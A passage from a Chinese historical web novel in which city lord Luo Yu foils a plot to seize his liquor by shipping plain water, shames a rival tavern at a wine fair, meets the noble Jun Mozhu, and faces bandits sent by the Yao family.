“私藏军械?你放屁!”
蒙虎怒了:
“血口喷人,可有证据!有老子在这,你们休要带走一坛酒!”
“蹭蹭蹭!”
面对暴怒的蒙虎,姚家牙兵纷纷拔刀,数不清的弓箭已经举起,寒芒毕露的箭矢蓄势待发,只要蒙虎他们再敢有异动,必将会万箭齐发,将他们当场格杀。
“虎哥,冷静点。”
还是吕青云沉稳,一把摁住了蒙虎,低声道:
“不要冲动,为了两百坛酒搭上兄弟们的命,不值当。”
蒙虎气得咬牙切齿,硬生生压住了心头的火气。
“呵呵,这才像话嘛。”
马背上的姚昌微微低下身子,面带讥讽:
“告诉你,在凤川城这一亩三分地上,还轮不到你们城主说了算!”
“我们走!”
当兵的呼啸而去,鼎香居的老管家面带歉意的抱拳道:
“两位军爷,既然酒水已经被城主府查封,那咱们的买卖只能暂停了,等洛城主将酒送到鼎香居,咱们再给银子吧。
走!”
眨眼间姚家牙兵与鼎香居的伙计就跑得无影无踪,吕青云与蒙虎的拳头捏得嘎吱作响,满脸铁青:
“妈的,敢耍我们!”
第67章狼狈为奸
酒水被扣的消息很快就传回了苍岐,若不是吕青云拦着,蒙虎差点就点齐兵马杀奔凤川城了。
洛羽正带着公输白满山找铁矿,没工夫管这件事,便交给了萧少游,萧少游第一时间便人来到了城主府,想看看能不能将这批酒要回来。
所谓城主府就是凤川城的最高权力中心,等同于县衙官府,名义上尊奉朝廷诏命,但实际上整座城池外加四周的乡镇、村落统统只听姚家号令。
这个世道,谁的拳头大谁说了算,姚家无疑是凤川一带拳头最大的那个人。
“苍岐萧少游,见过姚城主。”
略显威严的正厅中端坐着一名中年男子,面带厉色,身着锦衣,此人便是凤川城城主姚林,也就是鼎香居掌柜杜刚的结义兄弟。
听说此二人早年也是行伍出身,后来退出军伍。杜刚做起了生意,姚林拉了一批人在凤川城一带横行,干的就是土匪山贼的勾当。靠着杜刚财力的支持,姚林渐渐起势,最后杀了上一任城主取而代之,被朝廷封了个正六品官衔,这才有了两人的今天。
“呵呵,苍岐,我知道,洛城主阵斩完颜昌的大名早就传遍了。”
姚林漫不经心地抿了口茶水:
“不知你大老远从苍岐跑到凤川城有事吗?”
“姚城主的手下扣了我们一批酒水,在下想问问是怎么回事?”
“我手下的人不是跟你们解释了吗,怀疑酒水中私藏了卖给羌人的军械,所以要扣下检查。”
“酒水皆是从苍岐城运出,难道姚城主的意思是我们苍岐通羌?”
萧少游眉头微挑:“有些话可不能乱讲啊。”
“我可没这么说。”
姚林双手一摊,摆出一副无可奈何的样子:
“但本官身为凤川城主,肩负境内百姓的安危,听闻有此等通敌之事自当查个清楚。还望洛城主谅解,请洛城主放心,只要酒水没有问题,一定会还给你们。”
“那请问姚城主,查完了吗?什么时候可以把酒水给我?”
“还没,早呢。两百坛酒怎么也得查上十天半个月。”
姚林满不在乎:
“回去等着吧,有了消息自会通知你。”
“既然姚城主这么说,在下也不讨嫌了。”
萧少游目光微凝,冷冷地丢下一句:
“奉劝姚城主一句,做买卖就是做买卖,言而无信可就不好了。
做事莫要太过分!”
“哼!”
气呼呼的萧少游刚出府门,鼎香居杜刚就从内室走了出来,面带微笑:
“他们好像猜出来了,是我与你联手下套坑了这批酒。”
“猜出来又怎么样,一个小小的苍岐城难道还敢和我姚家作对?”
姚林讥讽道:
“别说是他手下一个都尉了,就算是洛羽自己来也得吃闭门羹,这里可不是云阳关,我也不是完颜昌,还轮不到他来嚣张。
一个外来户就敢跟你的鼎香居抢生意,做梦。”
名义上都是城主,可在姚林眼里洛羽连个屁都不算,撑**算个走运的暴发户。
“哈哈,这次多亏大哥了。”
杜刚再也没有先前面对洛羽的那种和煦,反而露出一抹阴笑:
“六百两银子就换来两百坛好酒,这次的酒市咱们定能彻底将听雨楼打趴下,哈哈哈!”
“咱兄弟谁跟谁啊,何必言谢。”
姚林嘴角微翘:
“先用这两百坛酒度过这次的酒市,等后面再想个法子从洛羽手里弄出酿酒的秘方,以后三锅头卖遍陇西三州,咱兄弟两就赚大发了!”
杜刚顺势附和道:
“有了银子大哥就可以招兵买马,扩充势力,到时候就算是取代阙州李家又未尝不可。”
“哈哈哈!”
空旷的大厅内回荡着兄弟两阴笑又带着野心的笑声。
……
“铁矿,真的是铁矿!”
“我的妈啊。”
公输白站在赤岐山的半山腰,目光呆滞:
“这么大一座山下面竟然全都埋着铁矿石,有些矿石甚至都裸露在地表之外。我公输一家世代打铁,此等稀奇的事情还是首次听闻。
这,这简直是为我量身打造的一座大山啊,哈哈哈!”
虽说公输白有一段时间怨天尤人、一蹶不振,但公输一家骨子里流淌的那种匠造精神从未消失过,此时的他莫名感觉到一种兴奋。
天选之地!
“我就知道你会喜欢这个地方。”
洛羽微微一笑:
“赤岐山我就交给你了,打铁的事情就
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由你全权负责,接下来你得帮我打造出兵器、甲胄,需要多久?”
公输白几乎是不假思索的答道:
“从铁矿石变成铁器还需要很多步骤,开采、冶炼生铁、锻造加工、淬火精锻每一步都需要时间,得看你需要多少甲胄。”
“我暂时不需要太多,足够三百人的军械战甲就行,要快,越快越好!”
“两个月,最多两个月!”
公输白竖起一根手指:
“但我有一个条件,你得给我人手,光靠我铁匠铺子里那七八个伙计远远不够。”
“这你就放心吧。”
洛羽手掌一招:
“韩大哥,人手调配的事就交给你了,从现在你就配合公输白。优先从百姓中选人,实在不够也可以调动军卒,总之就一个字。
快!”
“属下遵命!”
韩朔朝着公输白竖起了大拇指:
“这才像样嘛,早这样听话不就得了,省得挨我揍。”
“嘿嘿,也就是说韩叔现在得听我的调遣了。”
公输白的脸上露出一抹诡异的微笑,令韩朔心头微凉:“你想干什么?”
“听说洛城主酿出来的三锅头不错,好喝得很。”
公输白大手一挥:
“去,给我搬一坛来尝尝,不喝足了没力气干活。”
韩朔的鼻子差点就气歪了,这小子蹬鼻子还上脸了。
就在这时,萧少游疾步走来,脸色很不好看:
“城主府我去过了,酒没要到,姚林纯粹就是在搪塞我。看来这就是杜刚与姚林联手给咱们下的一个套。”
“我就知道。”
洛羽目光微寒:
“无商不奸啊,这些酒我们再也要不回来了,没必要再去自取其辱。杜刚这个家伙,用六百两银子就换走了我们的酒,打得一手好算盘。
两人狼狈为奸!”
“这该如何是好?”
韩朔忧心忡忡:“好不容易酿出来的酒被姚林截胡了,听雨楼那边又违约,怕是日后再难和我们做生意。
那咱们以后把酒卖给谁?没了收入咱们可养不活这么多人。”
“不用急。”
洛羽冷笑道:
“真以为我洛羽是这么好欺负的?三天后的酒市,我要去看一场好戏!”
第68章什么勾八好酒
三月三,酒市开
凤川城在阙州境内乃是名列前茅的繁华大城,当初起家靠的就是境内百姓多会酿酒,种类繁多、味道甘甜,渐渐声名鹊起。再加上又是勾连定州、阙州的要道,往来商贾众多,城内酒楼的生意自然做得很大,酒水甚至还会卖到其他州县。
所谓酒市,实际上就是一场盛大的发售会,算是凤川城的传统。各家酒楼会将自家最好的酒拿出来供客人品鉴,若是客人满意便会当场下单订购。
这种订购可不是一坛两坛,起码都是几十坛起步,只要你能拿得出好酒,绝不缺银子赚。
凤川城内的大酒楼都集中在一条街上,称之为酒仙坊,东头是听雨楼、西头是鼎香居,两家隔街相望,是人尽皆知的死对头。
一大清早就有无数客商、酒鬼涌入了酒仙坊,整条街巷人满为患。由于三锅头名声大噪的缘故,今年来参加酒市的客人格外地多,挤得前胸贴后背。
各家酒楼也早早地在门口搭起了高台,将珍藏佳酿全都拿了出来,酒香四溢。伙计们奋力地吆喝着,想要多招揽些客人,只要能谈下大单子,自然少不了他们的提成。
当然了,大多数客人都在往听雨楼赶,他们可都是为了三锅头来的。可人们却惊讶地发现听雨楼摆在门口的并不是三锅头,而是以前一直卖的十里香,当即就有人不乐意了:
“三锅头呢,啊!酒呢!”
“对啊,咱们大老远地过来,拿十里香糊弄咱们?赶紧把三锅头拿出来!”
“赶紧的,老子都馋了,这次一定要买个十坛八坛带走!”
放在以前听雨楼的十里香已经算是知名好酒了,但现在成了牛夫人,客人们看都不看一眼,指名道姓只喝三锅头。
江殊亲自出面,抱拳道歉:
“诸位客官莫急,今日的酒市才刚刚开始,三锅头乃是重头戏,岂能一开始就露面,自当压轴出场。”
“哎啊,都什么时候还卖关子。”
“江掌柜您就行行好,赶紧把三锅头拿出来,我们直接买!”
可任凭客人们怎么劝说,江殊就是不愿意拿出好酒,只是一味地赔笑。
“都别等了,听雨楼拿不出三锅头了,他们只有那一百坛,早就卖完了。倒不如来我鼎香居看看!”
就在众人一筹莫展之际,杜刚的朗笑声传遍了整条酒仙坊:
“来看看,本店的新酒绝不逊色于听雨楼!包让各位满意!”
鼎香居的伙计们同样在奋力吆喝,一时间街面上极为热闹,再配上鼎香居酒楼第一的名声,很快大多数客人就涌了过去,将门口挤得满满当当。
“诸位客官,欢迎捧场!”
杜刚四处抱拳,笑容满面:
“其实听雨楼的三锅头我们也会酿造,只不过前些日子没拿出来卖罢了。”
在他身后同样搭起了一座高台,满满当当摆了何止上百坛酒,全都用红泥封口,似乎有淡淡的酒香味飘出。
“杜掌柜说笑了吧,三锅头你们也会酿?这么好的酒怎么不早些拿出来卖?”
“问得好!”
杜刚朝人群中的托投去一抹赞赏的目光:
“因为我们鼎香居不屑于一时的小生意,只为了在酒市中一鸣惊人!好让客人们尝到最好的酒!
凤川城酒市由来已久,若是没有拿得出手的好酒,我鼎香居岂能在城内立足这么多年?”
“说得好!”
“杜掌柜果然会做生意!”
人群纷纷喝彩,杜刚脸上的笑意也越发旺盛,转身指向高高的酒坛:
“诸位,此酒就是鼎香居精心酿制半年的好酒,名为千里香,绝对是上上之品!”
千里香?
大家一听这个名字便心领神会,人家听雨楼叫十里香,你叫千里香,摆明了要压他一头,不,压他无数头!
“杜掌柜好大的口气,千里飘香。”
人群中突然传出一阵轻笑:“我倒是很好奇,鼎香居是如何酿造出此等好酒的,好大的本事啊。”
阴阳怪气的声音引来了无数人的目光,一名身穿黑衣的俊朗男子站在场中,身姿挺拔,风轻云淡,可语气却带着一丝不善。
客人们很好奇,谁敢在大庭广众之下落了鼎香居的面子,难道不知道鼎香居的背景吗?
“呵呵,我道是谁,原来是洛城主。”
杜刚的眼眸闪烁了几分,神色依旧如常:
“给诸位介绍一下,这位便是在云阳关阵斩敌将完颜昌、大败羌兵、苍岐城的新城主。
洛羽,洛城主!”
“竟然是他!”
“妈啊,今日来酒市竟
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然还能见到此等人物!”
“都说西羌完颜昌厉害得很,没想到杀他的人如此年轻,当真是后生可畏啊。”
人群中响起了惊呼声,洛羽的名头不可谓不响,各种敬畏的目光随之而来。
洛羽毫不在意,只是看着杜刚:
“凤川城的酒市我也很感兴趣,好酒我更感兴趣,倒不如请杜掌柜给大家讲讲,何等精酿之法才能让酒水千里飘香!”
“那好,我就给大家讲讲!”
杜刚自然知道洛羽是故意为难,但这种场面他早就习惯了,侃侃而谈:
“首先酿造此酒得选取品质上佳的稻谷粮食,择其优者发酵,再深埋地底七七四十九天……”
到底是生意人,吹起牛皮来草稿都不用打便能说上半天,杜刚压根就不担心洛羽会当众揭穿他,因为洛羽也没有证据证明千里香实际上就是他酿造的三锅头。
“果然是妙法啊。”
洛羽频频点头:
“听起来此酒确实不同寻常,甚是让人好奇。”
“杜掌柜说了这么多,倒不如让大家尝尝吧!”
有人已经迫不及待了,喊道:“是不是好酒,是不是佳酿,大家一尝便知!”
“没错,咱们还是入口为实!”
杜刚意气风发,大手一挥:
“今日就让大家尝尝即将红遍陇西三州的千里香,你们可是第一批客人噢。
一人一碗,算鼎香居请你们的,日后一坛千里香可得卖二十两!”
二十两,妥妥的高价了。
可越是这样大家肚中的馋虫就越发难耐,个个眼珠子瞪得滚圆,因为他们已经能闻到顺着酒坛子飘出来的香味了。
“开坛!”
“品酒!”
十名美婢同时动手,将十坛美酒的封泥揭开,倒出了整整一百碗分给了最前面的客人,人手一碗。
杜刚那叫一个志得意满,朗声高呼:
“鼎香居请诸位品酒!”
一名客人自告奋勇:
“我先来!”
只见他仰起头颅,一饮而尽,所有人都眼巴巴地望着他。
在杜刚兴奋无比的目光中,品酒之人的表情从喜悦变得茫然,再到最后的愤怒,当场就将酒碗摔在了地上:
“我呸!”
“什么勾八好酒,分明就是清水!”
第69章难不成去买清水?
“砰!”
四分五裂的酒碗让众人目瞪口呆,全都尝了一口所谓的千里香,一口下肚果然是清水,顿时骂声四起:
“**,真是清水!”
“杜掌柜,鼎香居莫非是当我们傻子,拿清水卖二十两一坛?是我们傻还是你们被猪油蒙了心!”
“都说店大欺客,堂堂凤川城的酒市竟然拿清水糊弄咱们,今天真是长见识了!”
“我看鼎香居的生意是不想做了!”
被忽悠了半天的客人愤怒至极,骂声不绝。虽说鼎香居有背景,可众怒难犯啊。再说了还有许多其他州郡过来的客人,可不是什么人都怕你鼎香居的。
“清水?”
杜刚脸上的笑容戛然而止,一把推开女婢盛了一碗灌进肚中,然后猛地一口喷了出来:
“真的是清水,怎么可能!”
杜刚已经顾不得场面的混乱了,连忙招呼伙计:“快!快将所有酒坛子打开!”
“清水,都是清水!”
“掌柜的,没有酒!”
两百坛所谓的好酒全都成了清水,杜刚呆若木鸡,失魂落魄:
“怎么,怎么会这样。”
“杜掌柜,您这是怎么搞的?”
洛羽轻飘飘的声音传进了他的耳朵:“不是说选取上等粮**酿而出吗,不是说深埋地底七七四十九天吗?怎得是一坛清水?”
杜刚如梦初醒,恶狠狠地盯着洛羽:
“你,是你!”
“我什么?”
洛羽面露好奇之色:
“刚刚杜掌柜不是信誓旦旦地说这是鼎香居的秘法吗,怎么又扯到我身上了。”
杜刚气得哑口无言,那叫一个哑巴吃黄连有苦说不出啊。原本以为是花了六百两买了两百坛上乘好酒,狠狠坑洛羽一把,没想到自己才是那个傻子,花六百两买了两百坛清水!
怪不得洛羽叮嘱管家,说什么还需要发酵几日,不能轻易打开封口,原来是怕露馅。
洛羽脚步轻移,站在了杜刚身侧,用细若游丝的声音说道:
“你是不是在想,既然是清水为何还能有酒香?因为封口处用的红泥全被我用三锅头浸过了。
就凭你和姚林两个蠢货,也想坑我?”
“你,你……”
杜刚差点气昏过去,一个踉跄跌坐在地。
“当当当!”
“咣咣咣!”
这里的闹剧还没结束,听雨楼门口就响起了敲锣打鼓的声音:
“诸位客官,三锅头隆重登场!请诸位品鉴!”
“三锅头终于出来了!”
“走走走,去晚了可就没了!”
人群呼啦啦的全涌到听雨楼那边去了,鼎香居就像是被抛弃的花坊老妪,没人管没人问。
听雨楼的手笔那叫一个大啊,摆下了何止几百碗酒,只要来的人都可以免费喝上一碗。
“这才是好酒嘛,甩开鼎香居的清水十条大街!”
“三锅头果然名不虚传,此酒定会红遍整个陇西!咱们这一趟来得不亏!”
不管是喝过的还是没喝过的,无不交口称赞,还时不时的阴阳鼎香居两句,两家酒楼孰强孰弱高下立判。
江殊施施然走向台前,拱手道:
“诸位客官,三锅头的品质想必不用在下多言,好不好喝大家心里都清楚。”
“江掌柜就别墨迹了,赶紧说个价吧,我们买!”
“对啊,麻溜的!”
这种场面让周围的掌柜羡慕坏了,什么时候生意这么好做了,上赶着送上门?
“既然大家如此迫切,那我也不绕弯子。”
江殊朗声道:
“三锅头定价原本是十五两一坛,但是今天酒市,咱们给诸位客官一个诚心价,十二两一坛!下定十坛,再送一坛!
我知道这个价格有些贵了,但如此美酒值得起这个价!”
“三十坛,我要三十坛!”
“我二十坛!”
叫声此起彼伏,一部分早有准备的客商立马喊了起来,抢着将第一批酒收入囊中,但还有些许客人在犹豫,十几两一坛酒的价格对他们来说可不算便宜啊。
其实很多人也是其他州县做酒水生意的,无非是将三锅头买回去售卖,自己赚个差价,总得考虑盈亏的问题。
洛羽趁热打铁,吆喝了一句:
“买啊,还愣着干什么,难道花二十两银子买鼎香居的清水?”
“对啊,咱们又不是傻子。”
“买!”
此话一出,群情激奋,抢着下定。
远处的杜刚终于忍不住了,两眼一黑晕了过去:
“混账小儿,鼎香居与你不共戴天!”
……
听雨楼窗口处,洛羽和江殊凭栏而望,从上午到黄昏,街巷中满是来买酒的客人,络绎不绝,人声鼎沸。
“洛城主当真好手段啊。”江
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殊微微一笑:“略施小计便让鼎香居栽了跟头,佩服。”
“哼,从他们露面的那一刻起我就知道杜刚想耍花样,跟我斗,他还嫩了点。鼎香居背靠城主府做生意,杜刚一向眼高于顶,岂会白白花两倍的价格买酒?
一定有诈!”
酒水被城主府扣下他为什么一点也不急?因为他早有准备。蒙虎与吕青云运走的是清水,真正的三锅头是董川趁着夜色送入了听雨楼,就等着在酒市中让鼎香居出个洋相。
洛羽的手腕和心思令江殊佩服不已,可不是什么人都能在双倍高价的诱惑下还保持冷静的,就算洛羽真的选择与鼎香居合作,他也做不了什么,只能认命。
“江掌柜的营销手段也是一绝啊。”
洛羽笑道:“低价卖酒,还买十送一,一下子就让三锅头的销量大涨。我给你的两百坛酒怕是远远不够吧?”
“肯定不够,所以今天只采取先付定金的方式买酒,后续由我听雨楼送货上门。接下来得靠洛城主多多酿酒了啊。”
洛羽对江殊越发满意,经他这么一操盘,三锅头的火爆程度翻了一倍都不止,况且有鼎香居这个黑心大店作对比,客人自然知道该买哪家的酒。
“我有一个问题。”
江殊的神色突然凝重起来:
“洛城主今日让鼎香居颜面尽失,就不怕他们报复吗?区区一个鼎香居或许不足为惧,可他后面还站着一个姚家啊。
洛城主就不怕引火烧身?”
“听雨楼不是也和鼎香居斗了这么多年吗?”洛羽反问道:“你怕吗?”
“呵呵。”
江殊摇了摇头:“这个世道怕是没用的,只会被人吃得连骨头都不剩。”
“那不就得了,你不怕,我自然不怕。”
洛羽把玩着手中酒杯:
“这个银子别人挣得,我们为何挣不得?”
“哈哈哈!”
两人同时笑出了声,恍惚间竟然有一种朋友的亲切感。
老管家很不合时宜地出现在两人身后,躬身道:
“隔壁包房有一位客人,请洛城主过去喝一杯。”
“请我喝一杯?”洛羽眉头微皱:“什么人?”
“来人并不愿意通报身份,但他穿了一件墨色长衫,说是您的好友。”
“墨色长衫?”
洛羽的目光瞬间沉了下来:
“我知道是谁了。”
第70章再见君墨竹
洛羽推门而入的第一眼就看到了站在窗边的君墨竹,时值黄昏,夕阳的余晖恰好顺着窗口照进屋中,将修长的背影倒影在地板上。
绣着碧绿色竹纹的墨色长袍依旧是那么的贵气,还带着点点妖艳的感觉,翩翩佳公子啊。
洛羽走进屋中,自顾自地抽了把椅子坐下:
“没想到小小的凤川城酒市还能吸引到君公子这等大人物,真是令人意外。”
“我对酒市可不感兴趣,倒是你让我很感兴趣。”
君墨竹转过身来:
“士别三日当刮目相看啊,现在该称呼洛兄为洛城主了。”
“不敢当。”
洛羽冷笑一声:“君公子何等尊贵的身份,洛羽粗鄙之徒哪敢和您称兄道弟。”
“洛城中话中有怨气啊。”
君墨竹微微一笑:“给了你一座废城让你不乐意了?还是说我故意收走三个月的田赋让你不爽?”
洛羽没有答话,就这么冷冷的看着他。
君墨竹自顾自地说道:
“岐城确实是一座废城,可三岐山的地势在陇西堪称得天独厚。倘若日后西羌攻破边关,苍岐可是一块易守难攻的险地,你是军伍出身,该明白三岐山地势的险要。
如此险的我转手就送给你了,不该谢谢我吗?
至于粮食确实是我故意为之,但我想让你明白城主不是那么好当的,有错吗?
若不是我在背后逼着,你能想到酿酒赚钱的路子?看今天的情形,三锅头定会大卖,到时候银子像水一样流入你的口袋,不好吗?”
这一番话愣是说得洛羽哑口无言,黑的都被他说成白的了。
洛羽眉头微挑:“我一直很好奇,鼎香居为何会知道三锅头出自我手,现在我明白了,是你告诉他们的吧?
你是如何知道的?”
“随便一猜罢了。”
君墨竹拎起桌上的酒壶倒了两杯酒:
“三锅烈酒酿春秋,一口醇香解万愁。
豪情尽在杯中酒,天地悠悠任我游。
谁喝谁上头!”
“好俗气的名字,好豪气的诗。”
君墨竹把玩着手中酒杯:
“我很好奇,你到底想做什么。放着君家这么大一座靠山不要,偏要自己出来闯荡。”
“将苍岐打造成一座大城,然后等着朝廷给我封一个正五品的将军当当。”
“就这么简单?”
君墨竹愕然:“正五品的将军算什么东西,跟了我,你要什么有什么。”
“不必,靠自己双手挣来的才踏实。”
洛羽很平静,其实这些天他想了很多很多。
与常氏的五年之约表面上看是当上一个正五品的将军,实则是对他能力、品行的一次考验,看他能不能成为顶天立地的武家儿郎。
别人施舍来的官位,可不配当武家人。
“算了,不说这件事,陪我喝杯酒吧。”
君墨竹轻轻将酒杯往前一推:
“没毒,放心。”
洛羽纹丝不动,并无半点要喝酒的打算。
“还真是个记仇的家伙。”
君墨竹轻笑一声:
“这样吧,我用两件事,换你喝一杯酒。
第一,开春回暖,西羌再一次蠢蠢欲动,隐隐有发兵的迹象,只怕这一次战事规模不小。现在的苍岐还太弱小,万一羌兵真的入境,你只有死路一条。趁着战事未起,快点发展壮大吧。
第二,别以为你摆了鼎香居一道就万事大吉了,杜刚已经去找过姚林了,迟早会来找你麻烦。两人扎根凤川城多年,底蕴可不是你能比的,而据我所知,城外有一股土匪与姚林关系不错,你可得当心了。”
洛羽的眼皮跳了跳,君墨竹知道的消息还真多啊。
“现在可以喝了吗?”
洛羽总算端起了酒杯,微微上举:
“看着吧,我会把姚家踩在脚下的。”
……
“一千坛,整整一千坛!”
不管是洛羽还是萧少游,全都是一抹欣喜若狂的表情,短短五天的酒市听雨楼就接到了一千坛订单,而且还有人在源源不断地采购。
“发了,我们发了。”
董川笑得合不拢嘴:
“一坛三锅头的成本都不到一两银子,我们卖出去却是八两,简直是暴利啊。”
“哎。”
洛羽摆了摆手:
“此前是为了图快才选择了采购低劣的米酒直接酿造,现在生意铺开了,咱们也不能老是粗制滥造,得提高一下酒水的品质了。我建议咱们一边用好点的酒水继续蒸馏,另一边采购粮食自己酿造,这样酿出来的酒水品质更高。
只有让三锅头的名声越来越响,咱们才能源源不断地挣银子!”
“有道理!”
洛羽的建议得到了众人的一致认同,做生意讲究的就是细
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水长流,决不能贪婪一时,误了一世。
洛羽的目光兜兜转转,最后落在了沈漓身上:
“从今天开始,酿酒的事情就由你全权负责了。从采购原料到酿造、再到与听雨楼的买卖,都由你负责。
不仅如此,以后营地中的粮食采购、分配也全都归你管了。”
“沈姑娘,你身上的担子可不轻噢。”韩朔打趣道:“相当于咱们的后勤全都靠你了,日后可不能让将士们饿肚子。”
“什么,我?”
沈漓愣住了,忧心忡忡:
“可我,可我只会酿酒啊?原料、采购、记账什么的我一窍不通。这个我做不来,要不你还是找别人吧。”
“不会可以学,你又不笨。”
洛羽板起了脸:“这么点事都做不好,我不如把你丢出去饿肚子。”
“你!”
沈漓一阵气急,挥舞着拳头:“学就学,但我要工钱!凭什么别人干活有工钱,**活没工钱!”
“我一直没给你工钱吗?”洛羽茫然:“我以为你有。”
“没有!”
“补给你不就完了,急什么。”
洛羽撇过头去,不再搭理这个丫头,接着说道:
“酿酒的生意铺开,苍岐城暂时没了粮食之忧,眼下我们要做的就是让苍岐发展壮大。
建城、打铁两件事在有条不紊地进行,暂时不用操心。但要想成为一座大城,人口是必不可少的,现在一千多人还是太少。
可以去周围村落、城镇多张贴一些告示,吸纳无家可归的流民进入苍岐安家,告诉他们这里有饭吃,我相信会有不少人来的。”
凤川城的人口数以万计,可苍岐城就千把人,也不怪姚林不拿洛羽当回事,苍岐在姚林眼里甚至算不得一座城,撑**是个大点的村落。
“好主意。”
萧少游点头附和:
“流民无家可归,咱们提供了一个安居乐业的所在,他们会打心底感激你,从而认同苍岐城,而且我们还能从流民中吸纳青壮兵源,充实军力。”
“我就是这么想的!”
“咚咚咚!”
还没商量完,外面就传来了一阵战鼓声,这是苍岐建城以来第一次响起战鼓。
战鼓一起就说明有敌人来袭,可这里又没有羌兵,会是谁呢?
洛羽眯起了眼眸:
“看来是姚家和杜刚找麻烦来了。”
第71章好准的箭!
“咚咚咚!”
苍岐城头第一次回荡起了战鼓声,令满城妇孺心头紧张,民夫青壮以及三百军卒统统上墙防守。
所谓的城墙其实还是一开始用黑松木搭起来的那道营墙,两排木桩之间填满了大量的沙土碎石,颇为牢固,高度也加高了一倍,足有两丈高。虽然比起云阳关的城墙差了无数倍,但抵御寻常的山贼土匪绰绰有余。
等洛羽他们赶到墙头时远远地就看到一伙土匪**在外围,黑压压一片,起码有两三百人。有人骑马有人徒步,手里拿的家伙也是五花八门,大多是寻常朴刀,偶尔有些**,像是从军伍中淘汰下来的残次品。
“土匪。”
洛羽冷冷一笑:“还真被君墨竹猜中了,姚家的报复来得还真是快啊。”
土匪队伍里有一骑飞奔出阵,马背上的男子高呼道:
“乱石岭刘半耳久闻苍岐洛城主大名,今日特来拜山!”
拜山是本地土匪的黑话,说好听点是来见个面,认识一下,不好听的就是来给你一个下马威。
“原来是乱石岭的土匪。”
来到苍岐这么久,萧少游将周围的地形都摸了一遍,也算了解点情况:
“从苍岐城到凤川会路过一片乱葬岗,大大小小的山石横亘其中,老百姓都称那儿为乱石岭,听说一直有伙土匪盘踞,靠打家劫舍、掳掠百姓为生。
领头的山大王早年间被官兵砍掉了半只耳朵,所以给自己取了个诨名刘半耳。”
“乌合之众。”
洛羽目光微挑,冷声喝道:
“不知刘首领今日到我苍岐城所为何事?”
坐在马背上的刘半耳嬉皮笑脸:
“一来嘛洛城主在云阳关大破羌贼,保住了边关不失,咱们都是陇西边民,怎么着也得来说句谢谢不是。
二来有位朋友托我给洛城主带句话,三岐山是风水宝地,您就好好在这过日子吧,凤川城的事别掺和了,省得得罪了不该得罪的人。”
大家目光冰冷,这还用问吗,肯定是姚林和杜刚心怀怨恨,派这批土匪来恐吓他们了。
刘半耳策马回阵,朝身边的劲衣男子一挑眉:
“老二,给他们打个样。”
“驾!”
劲衣男子年纪轻轻,也就二十出头,但一张脸宛如冰山,没有半点表情,策马行出数十步才勒住缰绳,抱拳冷喝:
“乱石岭余寒弓见过诸位好汉!”
“献丑了!”
只见此人一手握弓,一手捏箭,遥遥对准墙头。
众人目光好奇,此人想干什么?这个距离可超过了寻常弓箭手的射程啊。
“嗖!”
一支利箭飚射而出,在空中滑过一道弧线。
苍岐还没有自己的军旗,插着的旗帜还是从边关带回来的“乾”字军旗,在风中呼啦作响。这一箭正中旗杆,在木制的桩子上撕开了一点点裂缝。
众人脸色微变,这箭术和力道都算不错了。
“嗖!”
又是一箭飞来,稳稳命中同样的地方,那条裂缝又被崩开了许多,这下就连洛羽的眼神都出现了些许变化。
“嗖!”
第三箭当空而落,直接插在前两支箭的中间,强劲的力道顺着原先的裂缝迅速扩散,瞬间崩断了旗杆,“乾”字军旗垂头丧气地飘落在地。
“嘶!”
所有人都倒抽了一口凉气,这么远的距离,三箭的落点一模一样。
“好强的箭术。”
洛羽冷声喝道:
“蒙虎!”
蒙虎心领神会,狞笑着提枪上马,疾驰出城,马蹄扬起一片尘土。
余寒弓不慌不乱,弃弓换枪,壮硕如山的身形让他有些惊讶,抱拳道:
“还未请教名讳!”
“蒙虎!”
蒙虎拎着**:“劝你们还是识相点自己走吧,死在我手里的羌贼都不知道有多少,别在这丢了命。”
“好大的口气。”
余寒弓**斜举:“试试?”
“哼,怕你不成!”
蒙虎懒得跟他啰嗦,径直出枪,余寒弓看来不止会箭术,马上功夫也了得,不闪不避横枪一挡。
“当!”
一声沉闷的撞击让余寒弓脸色微变,蒙虎强劲的力道出乎了他的预料。
“呦呵,还能接住爷爷这一枪?”
蒙虎有些意外,再度挥枪而来,余寒弓也怒了:
“嚣张至极,看招!”
“当当当!”
两人在马背上闪转腾挪,连过了十几招,虽说一身蛮力的蒙虎稳占上风,但余寒弓总能化险为
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夷,始终未曾落败。
“能和蒙虎交手这么久不败,枪法已属上乘。”
萧少游略显吃惊:“想不到区区一伙土匪中竟然会出现此等人物。”
洛羽目光闪烁,注意力全在余寒弓的身上。
在蒙虎又一次重击之下,余寒弓终于撑不住了,两条手臂被震得发麻,一扯缰绳掉头就跑,眨眼间就奔出了十几步。
“妈的,跑得还挺快!”
蒙虎横握**,猛地一夹马腹:“落在爷爷手里你还想跑!苍岐可不是谁都能来踩上两脚的!”
一前一后,一追一逃,两匹高头大马撒了欢地跑。
“坏了,中计了!”
洛羽目光抖变,急声喝道:“不要追!”
隔着老远,蒙虎哪儿听得见洛羽的喊声,眼睛里只有夺路狂逃的余寒弓,打算好好教训一下这帮土匪。
可他突然看到前方的背影一个转身,甩手就射出了一支箭矢,蒙虎浑身的汗**都竖了起来,根本就来不及反应,眼睁睁地看着一支利箭擦着自己的脸颊飞了过去,刮出了一道血痕。
伤口很轻、很浅,但依旧有丝丝血迹渗出。
蒙虎傻了,愣在原地一动都不敢动。
一来是吓到了,二来是疑惑。
这一箭本该必杀的,此人为何要手下留情?
“叮叮叮~”
急促的鸣金之声响起,蒙虎顾不得多想,看了余寒弓一眼后便勒马而回,后脑勺已经满是冷汗。
刘半耳皱眉道:
“怎么不杀了他?以你的箭术这么近的距离还不是指哪打哪?”
余寒弓面无表情:
“好歹是在边关杀过羌贼的好汉,没必要结下死仇。再说了,姚家的要求是让一坛酒都出不了苍岐,也没让我们**。”
“行吧,还是那么死心眼。”
刘半耳撇撇嘴,朝着城头怒喝一声:
“洛城主,从今天开始,三锅头就不要卖了,否则别怪咱们不客气!”
“走!”
几百号土匪呼啸而去,留下一个满脸羞红的蒙虎:
“羽哥,给您丢人了。”
“下次多长点记性!没人家手下留情,你现在就变死虎了!”
洛羽望向远去的背影,嘴角微翘:
“余寒弓。”
第72章我的属地我来收税!
洛羽站在赤岐山的半山腰注目远眺,山谷中的百姓们就像蚂蚁般渺小,往来穿行、奋力劳作。
张贴告示、吸纳流民的方法多少有点用,这些天陆陆续续有不少难民慕名而来,住进了苍岐城,全城人口已经达到两千多。
这些百姓入城之后可以在指定区域搭建自己的房子,还可以参与修城换取工钱,城主府每日会给他们提供两顿饭,不说顿顿吃肉,最起码天天能吃顿饱饭。
沈漓捏着几张纸在耳边念叨着:
